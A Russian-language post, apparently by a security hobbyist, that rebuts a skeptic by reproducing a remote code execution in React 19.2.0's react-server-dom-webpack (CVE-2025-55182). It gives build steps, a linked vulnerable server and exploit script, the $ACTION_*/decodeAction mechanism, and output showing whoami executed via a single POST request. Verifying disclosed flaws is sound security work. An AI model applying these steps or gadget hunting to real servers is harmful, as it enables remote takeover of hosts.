какой-то ясновидящий в комментах заявил, что poc крутится «на специально дырявом сервере» и вообще «это не по-настоящему».
я пошёл, потратил два часа, собрал всё с чистого react — и вот результат:
rce воспроизводится на react 19.2.0, без патчей и плясок с бубном.
ниже полностью воспроизводимый сценарий.
1) клонируем и фиксируемся на уязвимой версии
git clone https://github.com/facebook/react.git
cd react
git checkout v19.2.0
2) ставим зависимости и собираем react-server-dom-webpack
yarn install
yarn build react-server-dom-webpack
уязвимый бандл после сборки:
build/oss-stable/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
3) минимальный уязвимый сервер
poc-server.jsкладём файл
CVE-2025-55182_vuln_server.js в корень репо react:https://gist.github.com/ghe770mvp/ebd40f33ec4ed080e603fda3ec20734e
4) стартуем уязвимый сервер
в коде я использую упрощённый сервер: напрямую подключаю react-server-dom-webpack, руками собираю serverManifest с нужным гаджетом (vm.runInThisContext) и показываю, что одним HTTP-запросом через decodeAction можно выполнить произвольный код.
это минимальный пример на уровне библиотеки. в реальных фреймворках манифест генерируется автоматически и содержит ваши use server функции, там надо дальше искать реальные гаджеты и смотреть, что именно доступно через manifest.
node --conditions react-server --conditions webpack CVE-2025-55182_vuln_server.js
видим:
vuln server on http://localhost:3002
5) стреляем уже готовым эксплойтом
🔫🤬🔫
node exploit-rce-v4.js
ожидаемый вывод (пример для windows):
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"<computer_name>\\<user>\r\n"}
это прямой результат
child_process.execSync("whoami"), выполненный через decodeAction из уязвимого бандла 19.2.0.почему это НЕ «заведомо дырявый сервер»
- версия: четкий
git checkout v19.2.0, без правок исходников и без патчей;- бандл: берём как есть из
build/oss-stable/...react-server-dom-webpack-server.node.development.js, собранный yarn build react-server-dom-webpack;- манифест: даём
vm.runInThisContext, и при отсутствии hasOwnProperty-проверки payload через $ACTION_* проламывает код.итог простой:
react rsc rce — это не теоретическая страшилка, а реальный шелл на хосте из POST запроса.
хочешь спорить — сначала повтори шаги, потом уже пиши свое «экспертное» мнение. будет мне уроком тоже :)
👾
